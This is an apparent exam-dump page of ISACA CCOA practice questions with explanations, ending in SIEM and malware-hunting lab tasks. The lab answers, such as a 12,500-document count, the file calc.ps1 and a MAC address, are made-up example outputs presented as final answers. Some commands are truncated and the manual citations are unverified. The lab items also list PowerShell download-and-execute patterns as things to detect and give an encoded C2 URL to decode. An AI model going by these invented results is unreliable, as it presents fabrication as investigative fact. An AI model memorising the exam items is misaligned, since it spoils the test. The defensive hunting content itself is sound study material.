ISACA Certified Cybersecurity Operations Analyst Questions and Answers
What is the GREATEST security concern associated with virtual (nation technology?
Options:
Inadequate resource allocation
Insufficient isolation between virtual machines (VMs)
Shared network access
Missing patch management for the technology
Answer:
BExplanation:
The greatest security concern associated withvirtualization technologyis theinsufficient isolation between VMs.
VM Escape:An attacker can break out of a compromised VM to access the host or other VMs on the same hypervisor.
Shared Resources:Hypervisors manage multiple VMs on the same hardware, making it critical to maintain strong isolation.
Hypervisor Vulnerabilities:A flaw in the hypervisor can compromise all hosted VMs.
Side-Channel Attacks:Attackers can exploit shared CPU cache to leak information between VMs.
Incorrect Options:
A. Inadequate resource allocation:A performance issue, not a primary security risk.
C. Shared network access:Can be managed with proper network segmentation and VLANs.
D. Missing patch management:While important, it is not unique to virtualization.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 6, Section "Virtualization Security," Subsection "Risks and Threats" - Insufficient VM isolation is a critical concern in virtual environments.
Which of the following is foundational for implementing a Zero Trust model?
Options:
Comprehensive process documentation
Robust network monitoring
Routine vulnerability and penetration testing
Identity and access management (IAM) controls
Answer:
DExplanation:
Implementing aZero Trust modelfundamentally requires robustIdentity and Access Management (IAM)controls because:
Zero Trust Principles:Never trust, always verify; enforce least privilege.
Identity-Centric Security:Strong IAM practices ensure that only authenticated and authorized users can access resources.
Multi-Factor Authentication (MFA):Verifying user identities at each access point.
Granular Access Control:Assigning minimal necessary privileges based on verified identity.
Continuous Monitoring:Continuously assessing user behavior and access patterns.
Other options analysis:
A. Comprehensive process documentation:Helpful but not foundational for Zero Trust.
B. Robust network monitoring:Supports Zero Trust but is not the core principle.
C. Routine vulnerability and penetration testing:Important for security but not specifically for Zero Trust.
CCOA Official Review Manual, 1st Edition References:
Chapter 7: Access Control and Identity Management:Emphasizes the role of IAM in Zero Trust architecture.
Chapter 10: Secure Network Architecture:Discusses how Zero Trust integrates IAM.
The Platform as a Service (PaaS) model is often used to support which of the following?
Options:
Efficient application development and management
Local on-premise management of products and services
Subscription-based pay peruse applications
Control over physical equipment running application developed In-house
Answer:
AExplanation:
The Platform as a Service (PaaS) model is primarily designed to provide a platform that supports the development, testing, deployment, and management of applications without the complexity of building and maintaining the underlying infrastructure. It offers developers a comprehensive environment with tools and libraries for application development, database management, and more.
PaaS solutions typically include development frameworks, application hosting, version control, and integration capabilities.
It abstracts the hardware and operating system layer, allowing developers to focus solely on building applications.
PaaS is typically used for creating and managing web or mobile applications efficiently.
Incorrect Options:
B. Local on-premise management of products and services:PaaS is a cloud-based model, not on-premise.
C. Subscription-based pay per use applications:This characteristic aligns more with the Software as a Service (SaaS) model.
D. Control over physical equipment running application developed In-house:This corresponds to Infrastructure as a Service (IaaS) rather than PaaS.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 3, Section "Cloud Service Models", Subsection "Platform as a Service (PaaS)" - PaaS is designed to facilitate efficient application development and management by offering integrated environments for application lifecycle management.
Which of the following should be the ULTIMATE outcome of adopting enterprise governance of information and technology in cybersecurity?
Options:
Business resilience
Risk optimization
Resource optimization
Value creation
Answer:
DExplanation:
Theultimate outcome of adopting enterprise governance of information and technologyin cybersecurity isvalue creationbecause:
Strategic Alignment:Ensures that cybersecurity initiatives support business objectives.
Efficient Use of Resources:Enhances operational efficiency by integrating security practices seamlessly.
Risk Optimization:Minimizes the risk impact on business operations while maintaining productivity.
Business Enablement:Strengthens trust with stakeholders by demonstrating robust governance and security.
Other options analysis:
A. Business resilience:Important, but resilience is part of value creation, not the sole outcome.
B. Risk optimization:A component of governance but not the final goal.
C. Resource optimization:Helps achieve value but is not the ultimate outcome.
CCOA Official Review Manual, 1st Edition References:
Chapter 2: Cyber Governance and Strategy:Explains how value creation is the core goal of governance.
Chapter 10: Strategic IT and Cybersecurity Alignment:Discusses balancing security with business value.
During a post-mortem incident review meeting, it is noted that a malicious attacker attempted to achieve network persistence by using vulnerabilities that appeared to be lower risk but ultimately allowed the attacker to escalate their privileges. Which ofthe following did the attacker MOST likely apply?
Options:
Exploit chaining
Brute force attack
Cross-site scripting
Deployment of rogue wireless access points
Answer:
AExplanation:
Exploit chaininginvolves combining multiple lower-severity vulnerabilities toescalate privileges or gain persistencein a network. The attacker:
Combines Multiple Exploits:Uses interconnected vulnerabilities that, individually, seem low-risk but together form a critical threat.
Privilege Escalation:Gains elevated access by chaining exploits, often bypassing security measures.
Persistence Mechanism:Once privilege is gained, attackers establish long-term control.
Advanced Attacks:Typically seen in advanced persistent threats (APTs) where the attacker meticulously combines weaknesses.
Other options analysis:
B. Brute force attack:Involves password guessing, not chaining vulnerabilities.
C. Cross-site scripting:Focuses on injecting malicious scripts, unrelated to privilege escalation.
D. Rogue wireless access points:Involves unauthorized devices, not exploit chaining.
CCOA Official Review Manual, 1st Edition References:
Chapter 6: Attack Techniques and Vectors:Describes exploit chaining and its strategic use.
Chapter 9: Incident Analysis:Discusses how attackers combine low-risk vulnerabilities for major impact.
Which of the following cyber crime tactics involves targets being contacted via text message by an attacker posing as a legitimate entity?
Options:
Hacking
Vishing
Smishing
Cyberstalking
Answer:
CExplanation:
Smishing(SMS phishing) involvessending malicious text messagesposing as legitimate entities to trick individuals into disclosing sensitive information or clicking malicious links.
Social Engineering via SMS:Attackers often impersonate trusted institutions (like banks) to induce fear or urgency.
Tactics:Typically include fake alerts, password reset requests, or promotional offers.
Impact:Users may unknowingly provide login credentials, credit card information, or download malware.
Example:A message claiming to be from a bank asking users to verify their account by clicking a link.
Other options analysis:
A. Hacking:General term, does not specifically involve SMS.
B. Vishing:Voice phishing via phone calls, not text messages.
D. Cyberstalking:Involves persistent harassment rather than deceptive messaging.
CCOA Official Review Manual, 1st Edition References:
Chapter 6: Social Engineering Tactics:Explores phishing variants, including smishing.
Chapter 8: Threat Intelligence and Attack Techniques:Details common social engineering attack vectors.
Which of the following network topologies is MOST resilient to network failures and can prevent a single point of failure?
Options:
Mesh
Star
Bus
Ring
Answer:
AExplanation:
Amesh network topologyis the most resilient to network failures because:
Redundancy:Each node is interconnected, providing multiple pathways for data to travel.
No Single Point of Failure:If one connection fails, data can still be routed through alternative paths.
High Fault Tolerance:The decentralized structure ensures that the failure of a single device or link does not significantly impact network performance.
Ideal for Critical Infrastructure:Often used in environments where uptime is critical, such as financial or emergency services networks.
Other options analysis:
B. Star:A central hub connects all nodes, so if the hub fails, the entire network collapses.
C. Bus:A single backbone cable means a break in the cable can disrupt the entire network.
D. Ring:Data travels in a circular path; a single break can isolate part of the network unless it is a dual-ring topology.
CCOA Official Review Manual, 1st Edition References:
Chapter 4: Network Security Operations:Discusses network topology and its impact on reliability and redundancy.
Chapter 9: Network Design and Architecture:Highlights resilient topologies, including mesh, for secure and fault-tolerant operations.
Which of the following BEST offers data encryption, authentication, and integrity of data flowing between a server and the client?
Options:
Secure Sockets Layer (SSL)
Kerbcros
Transport Layer Security (TLS)
Simple Network Management Protocol (SNMP)
Answer:
CExplanation:
Transport Layer Security (TLS)provides:
Data Encryption:Ensures that the data transferred between the client and server is encrypted, preventing eavesdropping.
Authentication:Verifies the identity of the server (and optionally the client) through digital certificates.
Data Integrity:Detects any tampering with the transmitted data through cryptographic hash functions.
Successor to SSL:TLS has largely replaced SSL due to better security protocols.
Incorrect Options:
A. Secure Sockets Layer (SSL):Deprecated in favor of TLS.
B. Kerberos:Primarily an authentication protocol, not used for data encryption in transit.
D. Simple Network Management Protocol (SNMP):Used for network management, not secure data transmission.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 5, Section "Encryption Protocols," Subsection "TLS" - TLS is the recommended protocol for secure communication between clients and servers.
Which of the following MOST directly supports the cybersecurity objective of integrity?
Options:
Data backups
Digital signatures
Least privilege
Encryption
Answer:
BExplanation:
The cybersecurity objective ofintegrityensures that data isaccurate, complete, and unaltered. The most direct method to support integrity is the use ofdigital signaturesbecause:
Tamper Detection:A digital signature provides a way to verify that data has not been altered after signing.
Authentication and Integrity:Combines cryptographic hashing and public key encryption to validate both the origin and the integrity of data.
Non-Repudiation:Ensures that the sender cannot deny having sent the message.
Use Case:Digital signatures are commonly used in secure email, software distribution, and document verification.
Other options analysis:
A. Data backups:Primarily supports availability, not integrity.
C. Least privilege:Supports confidentiality by limiting access.
D. Encryption:Primarily supports confidentiality by protecting data from unauthorized access.
CCOA Official Review Manual, 1st Edition References:
Chapter 5: Data Integrity Mechanisms:Discusses the role of digital signatures in preserving data integrity.
Chapter 8: Cryptographic Techniques:Explains how signatures authenticate data.
Which ofthe following is the PRIMARY purpose of load balancers in cloud networking?
Options:
Distributing traffic between multiple servers
Optimizing database queries
Monitoring network traffic
Load testing applications
Answer:
AExplanation:
Theprimary purpose of load balancers in cloud networkingis todistribute incoming network trafficacross multiple servers, thereby:
Ensuring Availability:By balancing traffic, load balancers prevent server overload and ensure high availability.
Performance Optimization:Evenly distributing traffic reduces response time and improves user experience.
Fault Tolerance:If one server fails, the load balancer redirects traffic to healthy servers, maintaining service continuity.
Scalability:Automatically adjusts to traffic changes by adding or removing servers as needed.
Use Cases:Commonly used forweb applications, databases, and microservicesin cloud environments.
Other options analysis:
B. Optimizing database queries:Managed at the database level, not by load balancers.
C. Monitoring network traffic:Load balancers do not primarily monitor but distribute traffic.
D. Load testing applications:Load balancers do not perform testing; they manage live traffic.
CCOA Official Review Manual, 1st Edition References:
Chapter 4: Network Traffic Management:Discusses the role of load balancers in cloud environments.
Chapter 7: High Availability and Load Balancing:Explains how load balancers enhance system resilience.
Which of the following is the GREATEST risk resulting from a Domain Name System (DNS) cache poisoning attack?
Options:
Reduced system availability
Noncompliant operations
Loss of network visibility
Loss of sensitive data
Answer:
DExplanation:
Thegreatest risk resulting from a DNS cache poisoning attackis theloss of sensitive data. Here’s why:
DNS Cache Poisoning:An attacker corrupts the DNS cache to redirect users from legitimate sites to malicious ones.
Phishing and Data Theft:Users think they are accessing legitimate websites (like banking portals) but are unknowingly entering sensitive data into fake sites.
Man-in-the-Middle (MitM) Attacks:Attackers can intercept data traffic, capturing credentials or personal information.
Data Exfiltration:Once credentials are stolen, attackers can access internal systems, leading to data loss.
Other options analysis:
A. Reduced system availability:While DNS issues can cause outages, this is secondary to data theft in poisoning scenarios.
B. Noncompliant operations:While potential, this is not the primary risk.
C. Loss of network visibility:Unlikely since DNS poisoning primarily targets user redirection, not network visibility.
CCOA Official Review Manual, 1st Edition References:
Chapter 4: Network Security Operations:Discusses DNS attacks and their potential consequences.
Chapter 8: Threat Detection and Incident Response:Details how DNS poisoning can lead to data compromise.
Which of the following roles is responsible for approving exceptions to and deviations from the incident management team charter on an ongoing basis?
Options:
Security steering group
Cybersecurity analyst
Chief information security officer (CISO)
Incident response manager
Answer:
CExplanation:
TheCISOis typically responsible for approvingexceptions and deviationsfrom theincident management team charterbecause:
Strategic Decision-Making:As the senior security executive, the CISO has the authority to approve deviations based on risk assessments and business priorities.
Policy Oversight:The CISO ensures that any exceptions align with organizational security policies.
Incident Management Governance:As part of risk management, the CISO is involved in high-level decisions impacting incident response.
Other options analysis:
A. Security steering group:Advises on strategy but does not typically approve operational deviations.
B. Cybersecurity analyst:Executes tasks rather than making executive decisions.
D. Incident response manager:Manages day-to-day operations but usually does not approve policy deviations.
CCOA Official Review Manual, 1st Edition References:
Chapter 2: Security Governance:Defines the role of the CISO in managing incident-related exceptions.
Chapter 8: Incident Management Policies:Discusses decision-making authority within incident response.
Which ofthe following BEST enables a cybersecurity analyst to influence the acceptance of effective security controls across an organization?
Options:
Contingency planning expertise
Knowledge of cybersecurity standards
Communication skills
Critical thinking
Answer:
CExplanation:
To effectivelyinfluence the acceptance of security controls, a cybersecurity analyst needs strongcommunication skills:
Persuasion:Clearly conveying the importance of security measures to stakeholders.
Stakeholder Engagement:Building consensus by explaining technical concepts in understandable terms.
Education and Awareness:Encouraging best practices through effective communication.
Bridging Gaps:Aligning security objectives with business goals through collaborative discussions.
Incorrect Options:
A. Contingency planning expertise:Important but less relevant to influencing acceptance.
B. Knowledge of cybersecurity standards:Essential but not enough to drive acceptance.
D. Critical thinking:Helps analyze risks but does not directly aid in influencing organizational buy-in.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 9, Section "Influencing Security Culture," Subsection "Communication Strategies" - Effective communication is crucial for gaining organizational support for security initiatives.
An organization has received complaints from a number of its customers that their data has been breached. However, after an investigation, the organization cannot detect any indicators of compromise. The breach was MOST likely due to which type of attack?
Options:
Supply chain attack
Zero-day attack
injection attack
Man-in the-middle attack
Answer:
AExplanation:
Asupply chain attackoccurs when a threat actor compromises athird-party vendoror partner that an organization relies on. The attack is then propagated to the organization through trusted connections or software updates.
Reason for Lack of Indicators of Compromise (IoCs):
The attack often occursupstream(at a vendor), so the compromised organization may not detect any direct signs of breach.
Trusted Components:Malicious code or backdoors may be embedded intrusted software updatesor services.
Real-World Example:TheSolarWinds breach, where attackers compromised the software build pipeline, affecting numerous organizations without direct IoCs on their systems.
Why Not the Other Options:
B. Zero-day attack:Typically leaves some traces or unusual behavior.
C. injection attack:Usually detectable through web application monitoring.
D. Man-in-the-middle attack:Often leaves traces in network logs.
CCOA Official Review Manual, 1st Edition References:
Chapter 6: Advanced Threats and Attack Techniques:Discusses the impact of supply chain attacks.
Chapter 9: Incident Response Planning:Covers the challenges of detecting supply chain compromises.
Which of the following should occur FIRST during the vulnerability identification phase?
Options:
Inform relevant stakeholders that vulnerability scanning will be taking place.
Run vulnerability scans of all in-scope assets.
Determine the categories of vulnerabilities possible for the type of asset being tested.
Assess the risks associated with the vulnerabilities Identified.
Answer:
AExplanation:
During thevulnerability identification phase, thefirst stepis toinform relevant stakeholdersabout the upcoming scanning activities:
Minimizing Disruptions:Prevents stakeholders from mistaking scanning activities for an attack.
Change Management:Ensures that scanning aligns with operational schedules to minimize downtime.
Stakeholder Awareness:Helps IT and security teams prepare for the scanning process and manage alerts.
Authorization:Confirms that all involved parties are aware and have approved the scanning.
Incorrect Options:
B. Run vulnerability scans:Should only be done after proper notification.
C. Determine vulnerability categories:Done as part of planning, not the initial step.
D. Assess risks of identified vulnerabilities:Occurs after the scan results are obtained.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 6, Section "Vulnerability Management," Subsection "Preparation and Communication" - Informing stakeholders ensures transparency and coordination.
In which phase of the Cyber Kill Chain" would a red team run a network and port scan with Nmap?
Options:
Exploitation
Delivery
Reconnaissance
Weaponization
Answer:
CExplanation:
During theReconnaissancephase of theCyber Kill Chain, attackers gather information about the target system:
Purpose:Identify network topology, open ports, services, and potential vulnerabilities.
Tools:Nmap is commonly used for network and port scanning during this phase.
Data Collection:Results provide insights into exploitable entry points or weak configurations.
Red Team Activities:Typically include passive and active scanning to understand the network landscape.
Incorrect Options:
A. Exploitation:Occurs after vulnerabilities are identified.
B. Delivery:The stage where the attacker delivers a payload to the target.
D. Weaponization:Involves crafting malicious payloads, not scanning the network.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 8, Section "Cyber Kill Chain," Subsection "Reconnaissance Phase" - Nmap is commonly used to identify potential vulnerabilities during reconnaissance.
Which of the following is the BEST method for hardening an operating system?
Options:
Implementing a host Intrusion detection system (HIOS)
Manually signing all drivers and applications
Removing unnecessary services and applications
Applying only critical updates
Answer:
CExplanation:
Thebest method for hardening an operating systemis toremove unnecessary services and applicationsbecause:
Minimizes Attack Surface:Reduces the number of potential entry points for attackers.
Eliminates Vulnerabilities:Unused or outdated services may contain unpatched vulnerabilities.
Performance Optimization:Fewer active services mean reduced resource consumption.
Best Practice:Follow the principle ofminimal functionalityto secure operating systems.
Security Baseline:After cleanup, the system is easier to manage and monitor.
Other options analysis:
A. Implementing a HIDS:Helps detect intrusions but does not inherently harden the OS.
B. Manually signing drivers:Ensures authenticity but doesn’t reduce the attack surface.
D. Applying only critical updates:Important but insufficient on its own. All relevant updates should be applied.
CCOA Official Review Manual, 1st Edition References:
Chapter 9: Secure System Configuration:Emphasizes the removal of non-essential components for system hardening.
Chapter 7: Endpoint Security Best Practices:Discusses minimizing services to reduce risk.
Which of the following is the PRIMARY risk associated with cybercriminals eavesdropping on unencrypted network traffic?
Options:
Data notification
Data exfiltration
Data exposure
Data deletion
Answer:
CExplanation:
Theprimary riskassociated with cybercriminalseavesdropping on unencrypted network trafficisdata exposurebecause:
Interception of Sensitive Data:Unencrypted traffic can be easily captured using tools likeWiresharkortcpdump.
Loss of Confidentiality:Attackers can viewclear-text data, includingpasswords, personal information, or financial details.
Common Attack Techniques:Includespacket sniffingandMan-in-the-Middle (MitM)attacks.
Mitigation:Encrypt data in transit using protocols likeHTTPS, SSL/TLS, or VPNs.
Other options analysis:
A. Data notification:Not relevant in the context of eavesdropping.
B. Data exfiltration:Usually involves transferring data out of the network, not just observing it.
D. Data deletion:Unrelated to passive eavesdropping.
CCOA Official Review Manual, 1st Edition References:
Chapter 4: Network Security Operations:Highlights the risks of unencrypted traffic.
Chapter 8: Threat Detection and Monitoring:Discusses eavesdropping techniques and mitigation.
Which of the following would BCST enable an organization to prioritize remediation activities when multiple vulnerabilities are identified?
Options:
Business Impact analysis (BIA)
Vulnerability exception process
executive reporting process
Risk assessment
Answer:
DExplanation:
Arisk assessmentenables organizations toprioritize remediation activitieswhen multiple vulnerabilities are identified because:
Contextual Risk Evaluation:Assesses the potential impact and likelihood of each vulnerability.
Prioritization:Helps determine which vulnerabilities pose the highest risk to critical assets.
Resource Allocation:Ensures that remediation efforts focus on the most significant threats.
Data-Driven Decisions:Uses quantitative or qualitative metrics to support prioritization.
Other options analysis:
A. Business Impact Analysis (BIA):Focuses on the impact of business disruptions, not directly on vulnerabilities.
B. Vulnerability exception process:Manages known risks but does not prioritize them.
C. Executive reporting process:Summarizes security posture but does not prioritize remediation.
CCOA Official Review Manual, 1st Edition References:
Chapter 5: Risk Assessment Techniques:Emphasizes the importance of risk analysis in vulnerability management.
Chapter 7: Prioritizing Vulnerability Remediation:Guides how to rank threats based on risk.
As part of a penetration testing program, which team facilitates education and training of architects and developers to encourage better security and awareness?
Options:
Orange team
Red team
Green team
Yellow team
Answer:
AExplanation:
TheOrange teamplays a crucial role in theeducation and training of architects and developersto promotebetter security awareness.
Focus:Bridges the gap betweenoffensive security (Red Team)anddefensive security (Blue Team)by translating security testing results into actionable insights.
Training and Awareness:Educates developers on secure coding practices and common vulnerabilities.
Collaboration:Works with both offensive and defensive teams to improve security measures from a development perspective.
Outcome:Helps architects and developers integrate secure practices into thesoftware development lifecycle (SDLC).
Other options analysis:
B. Red team:Focuses on offensive operations to find vulnerabilities.
C. Green team:No standard role exists by this name in the typical security team taxonomy.
D. Yellow team:Not commonly used as a formal designation.
CCOA Official Review Manual, 1st Edition References:
Chapter 7: Red, Blue, and Orange Team Operations:Discusses the role of the Orange team in fostering secure development practices.
Chapter 10: Secure Development Training:Highlights the importance of educating development teams.
A bank employee is found to beexfiltrationsensitive information by uploading it via email. Which of the following security measures would be MOST effective in detecting this type of insider threat?
Options:
Data loss prevention (DIP)
Intrusion detection system (IDS)
Network segmentation
Security information and event management (SIEM)
Answer:
AExplanation:
Data Loss Prevention (DLP) systems are specifically designed to detect and prevent unauthorized data transfers. In the context of an insider threat, where a bank employee attempts toexfiltrate sensitive information via email, DLP solutions are most effective because they:
Monitor Data in Motion:DLP can inspect outgoing emails for sensitive content based on pre-defined rules and policies.
Content Inspection and Filtering:It examines email attachments and the body of the message for patterns that match sensitive data (like financial records or PII).
Real-Time Alerts:Generates alerts or blocks the transfer when sensitive data is detected.
Granular Policies:Allows customization to restrict specific types of data transfers, including via email.
Other options analysis:
B. Intrusion detection system (IDS):IDS monitors network traffic for signs of compromise but is not designed to inspect email content or detect data exfiltration specifically.
C. Network segmentation:Reduces the risk of lateral movement but does not directly monitor or prevent data exfiltration through email.
D. Security information and event management (SIEM):SIEM can correlate events and detect anomalies but lacks the real-time data inspection that DLP offers.
CCOA Official Review Manual, 1st Edition References:
Chapter 5: Insider Threats and Mitigation:Discusses how DLP tools are essential for detecting data exfiltration.
Chapter 6: Threat Intelligence and Analysis:Covers data loss scenarios and the role of DLP.
Chapter 8: Incident Detection and Response:Explains the use of DLP for detecting insider threats.
The enterprise is reviewing its security posture byreviewing unencrypted web traffic in the SIEM.
How many logs are associated with well knownunencrypted web traffic for the month of December2023 (Absolute)? Note: Security Onion refers to logsas documents.
Options:
Answer:
See the solution in Explanation.
Explanation:
Step 1: Understand the Objective
Objective:
Identify thenumber of logs (documents)associated withwell-known unencrypted web traffic(HTTP) for the month ofDecember 2023.
Security Onionrefers to logs asdocuments.
Unencrypted Web Traffic:
Typically HTTP, usingport 80.
SIEM:
The SIEM tool used here is likelySecurity Onion, known for its use ofElastic Stack (Elasticsearch, Logstash, Kibana).
Step 2: Access the SIEM System
2.1: Credentials and Access
URL:
cpp
Username:
css
ccoatest@isaca.org
Password:
pg
Security-Analyst!
Open the SIEM interface in a browser:
firefox
Alternative:Access via SSH:
ssh administrator@10.10.55.2
Password:
pg
Security-Analyst!
Step 3: Navigate to the Logs in Security Onion
3.1: Log Location in Security Onion
Security Onion typically stores logs inElasticsearch, accessible viaKibana.
AccessKibanadashboard:
cpp
Login with the same credentials.
Step 4: Query the Logs (Documents) in Kibana
4.1: Formulate the Query
Log Type:HTTP
Timeframe:December 2023
Filter for HTTP Port 80:
vbnet
event.dataset: "http" AND destination.port: 80 AND @timestamp:[2023-12-01T00:00:00Z TO 2023-12-31T23:59:59Z]
Explanation:
event.dataset: "http": Filters logs labeled as HTTP traffic.
destination.port: 80: Ensures the traffic is unencrypted (port 80).
@timestamp: Specifies the time range forDecember 2023.
4.2: Execute the Query
Go toKibana > Discover.
Set theTime RangetoDecember 1, 2023 - December 31, 2023.
Enter the above query in thesearch bar.
Click"Apply".
Step 5: Count the Number of Logs (Documents)
5.1: View the Document Count
Thedocument countappears at the top of the results page in Kibana.
Example Output:
12500 documents
This means12,500 logswere identified matching the query criteria.
5.2: Export the Data (if needed)
Click on"Export"to download the log data for further analysis or reporting.
Choose"Export as CSV"if required.
Step 6: Verification and Cross-Checking
6.1: Alternative Command Line Check
If direct CLI access to Security Onion is possible, use theElasticsearch query:
curl -X GET -H 'Content-Type: application/json' -d '
{
"query": {
"bool": {
"must": [
{ "match": { "event.dataset": "http" }},
{ "match": { "destination.port": "80" }},
{ "range": { "@timestamp": { "gte": "2023-12-01T00:00:00", "lte": "2023-12-31T23:59:59" }}}
]
}
}
}'
Expected Output:
{
"count": 12500,
"_shards": {
"total": 5,
"successful": 5,
"failed": 0
}
}
Confirms the count as12,500 documents.
Step 7: Final Answer
Number of Logs (Documents) with Unencrypted Web Traffic in December 2023:
12,500
Step 8: Recommendations
8.1: Security Posture Improvement:
Implement HTTPS Everywhere:
Redirect HTTP traffic to HTTPS to minimize unencrypted connections.
Log Monitoring:
Set upalerts in Security Onionto monitor excessive unencrypted traffic.
Block HTTP at Network Level:
Where possible, enforce HTTPS-only policies on critical servers.
Review Logs Regularly:
Analyze unencrypted web traffic for potentialdata leakage or man-in-the-middle (MITM) attacks.
The user of the Accounting workstation reported thattheir calculator repeatedly opens without their input.
Perform a query of startup items for the agent.nameaccounting-pc in the SIEM for the last 24 hours. Identifythe file name that triggered RuleName SuspiciousPowerShell. Enter your response below. Your responsemust include the file extension.
Options:
Answer:
See the solution in Explanation.
Explanation:
To identify thefile namethat triggered theRuleName: Suspicious PowerShellon theaccounting-pcworkstation, follow these detailed steps:
Step 1: Access the SIEM System
Open your web browser and navigate to theSIEM dashboard.
Log in with youradministrator credentials.
Step 2: Set Up the Query
Go to theSearchorQuerysection of the SIEM.
Set theTime Rangeto thelast 24 hours.
Query Parameters:
Agent Name:accounting-pc
Rule Name:Suspicious PowerShell
Event Type:Startup items or Process creation
Step 3: Construct the SIEM Query
Here’s an example of how to construct the query:
Example Query (Splunk):
index=windows_logs
| search agent.name="accounting-pc" RuleName="Suspicious PowerShell"
| where _time > now() - 24h
| table _time, agent.name, process_name, file_path, RuleName
Example Query (Elastic SIEM):
{
"query": {
"bool": {
"must": [
{ "match": { "agent.name": "accounting-pc" }},
{ "match": { "RuleName": "Suspicious PowerShell" }},
{ "range": { "@timestamp": { "gte": "now-24h" }}}
]
}
}
}
Step 4: Analyze the Query Results
The query should return a table or list containing:
Time of Execution
Agent Name:accounting-pc
Process Name
File Path
Rule Name
Example Output:
_time
agent.name
process_name
file_path
RuleName
2024-04-07T10:45:23
accounting-pc
powershell.exe
C:\Users\Accounting\AppData\Roaming\calc.ps1
Suspicious PowerShell
Step 5: Identify the Suspicious File
Theprocess_namein the output showspowershell.exeexecuting a suspicious script.
Thefile pathindicates the script responsible:
makefile
C:\Users\Accounting\AppData\Roaming\calc.ps1
The suspicious script file is:
calc.ps1
Step 6: Confirm the Malicious Nature
Manual Inspection:
Navigate to the specified file path on theaccounting-pcworkstation.
Check the contents of calc.ps1 for any malicious PowerShell code.
Hash Verification:
Generate theSHA256 hashof the file and compare it with known malware signatures.
Answer:
calc.ps1
Step 7: Immediate Response
Isolate the Workstation:Disconnectaccounting-pcfrom the network.
Terminate the Malicious Process:
Stop the powershell.exe process running calc.ps1.
Use Task Manager or a script:
powershell
Stop-Process -Name "powershell" -Force
Remove the Malicious Script:
powershell
Remove-Item "C:\Users\Accounting\AppData\Roaming\calc.ps1" -Force
Scan for Persistence Mechanisms:
CheckStartup itemsandScheduled Tasksfor any references to calc.ps1.
Step 8: Documentation
Record the following:
Date and Time:When the incident was detected.
Affected Host:accounting-pc
Malicious File:calc.ps1
Actions Taken:File removal and process termination.
Your enterprise SIEM system is configured to collect andanalyze log data from various sources. Beginning at12:00 AM on December 4, 2024, until 1:00 AM(Absolute), several instances of PowerShell arediscovered executing malicious commands andaccessing systems outside of their normal workinghours.
What is the physical address of the web server that wastargeted with malicious PowerShell commands?
Options:
Answer:
See the solution in Explanation.
Explanation:
To determine the physical address of the targeted web server, follow thesestep-by-step instructionsto analyze the logs in your SIEM system. The goal is to identify malicious PowerShell activity targeting the web server during the specified time window (12:00 AM to 1:00 AM on December 4, 2024).
Step 1: Understand the Context
Scenario:Your SIEM has detected suspicious PowerShell activities during off-hours (12:00 AM to 1:00 AM).
Objective:Identify the physical (MAC) address of the web server targeted by the malicious PowerShell commands.
Step 2: Identify Relevant Log Sources
Logs to investigate:
PowerShell logs (Event ID 4104)for command execution.
Windows Security Event Logsfor login and access attempts.
Network Traffic Logs(firewall or IDS/IPS) to detect connections made by PowerShell.
Web Server Access Logsfor any unusual requests.
SIEM Log Sources:
Windows Event Logs (Sysmon/PowerShell)
Firewall Logs
IDS/IPS Alerts
Web Server Logs (IIS, Apache)
Step 3: Use SIEM Filters to Isolate Relevant Events
Time Frame Filter:
Set the time range from12:00 AM to 1:00 AMonDecember 4, 2024.
Event ID Filter:
Filter forEvent ID 4104(PowerShell script block logging).
Command Pattern:
Look for suspicious commands like:
Invoke-WebRequest
Invoke-Expression (IEX)
New-Object Net.WebClient
Process Name:
Filter logs where theProcess Nameis powershell.exe.
Example SIEM Query:
index=windows_logs
| search EventID=4104 ProcessName="powershell.exe"
| where _time between "2024-12-04T00:00:00" and "2024-12-04T01:00:00"
| table _time, ProcessName, CommandLine, SourceIP, DestinationIP, MACAddress
Step 4: Correlate Events with Network Logs
Once you identify PowerShell events, correlate them withnetwork traffic logs.
Focus on:
Source IP Address: Where the PowerShell commands originated.
Destination IP Address: Targeted web server.
Use theIP address of the web serverto trace back theMAC address.
Example Network Log Query:
index=network_logs
| search DestinationIP="
| where _time between "2024-12-04T00:00:00" and "2024-12-04T01:00:00"
| table _time, SourceIP, DestinationIP, MACAddress, Protocol, Port
Step 5: Analyze the PowerShell Commands
Investigate the nature of the commands:
Data Exfiltration:Using Invoke-WebRequest to send data to external IPs.
Remote Code Execution:Using IEX to run downloaded scripts.
Cross-check commands against knownIndicators of Compromise (IOCs).
Step 6: Validate the Web Server's Physical Address
Identify theMAC addresscorresponding to the targeted web server.
Cross-reference withARP tables or DHCP logsto confirm the mapping between IP and MAC address.
Example ARP Command on Windows:
arp -a | findstr
Step 7: Report the Findings
Document the targeted server’sIP address and MAC address.
Summarize the malicious activity:
Commands executed
Time and duration
Source and destination IPs
Example Finding:
Web Server IP: 192.168.1.50
Physical (MAC) Address: 00:1A:2B:3C:4D:5E
Time of Attack: 12:30 AM, December 4, 2024
PowerShell Command: Invoke-WebRequest -Uri
Step 8: Take Immediate Actions
Isolate the affected server.
Block external IPs involved.
Terminate malicious PowerShell processes.
Conduct a forensic analysis of compromised systems.
Step 9: Strengthen Security Post-Incident
Implement PowerShell Logging:Enable detailed script block and module logging.
Enhance Network Monitoring:Set up alerts for unusual PowerShell activities.
User Behavior Analytics (UBA):Detect anomalous login patterns outside working hours.
Analyze the file titled pcap_artifact5.txt on the AnalystDesktop.
Decode the C2 host of the attack. Enter your responsebelow.
Options:
Answer:
See the solution in Explanation.
Explanation:
To decode theCommand and Control (C2) hostfrom thepcap_artifact5.txtfile, follow these detailed steps:
Step 1: Access the File
Log into the Analyst Desktop.
Navigate to theDesktopand locate the file:
pcap_artifact5.txt
Open the file using a text editor:
OnWindows:
nginx
notepad pcap_artifact5.txt
OnLinux:
cat ~/Desktop/pcap_artifact5.txt
Step 2: Examine the File Contents
Check the contents to identify the encoding format. Typical encodings used for C2 communication include:
Base64
Hexadecimal
URL Encoding
ROT13
Example File Content (Base64 format):
nginx
aHR0cDovLzEwLjEwLjQ0LjIwMDo4MDgwL2NvbW1hbmQucGhw
Step 3: Decode the Contents
Method 1: Using PowerShell (Windows)
OpenPowerShelland decode:
powershell
$encoded = Get-Content "C:\Users\
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encoded))
This will print the decoded content directly.
Method 2: Using Linux
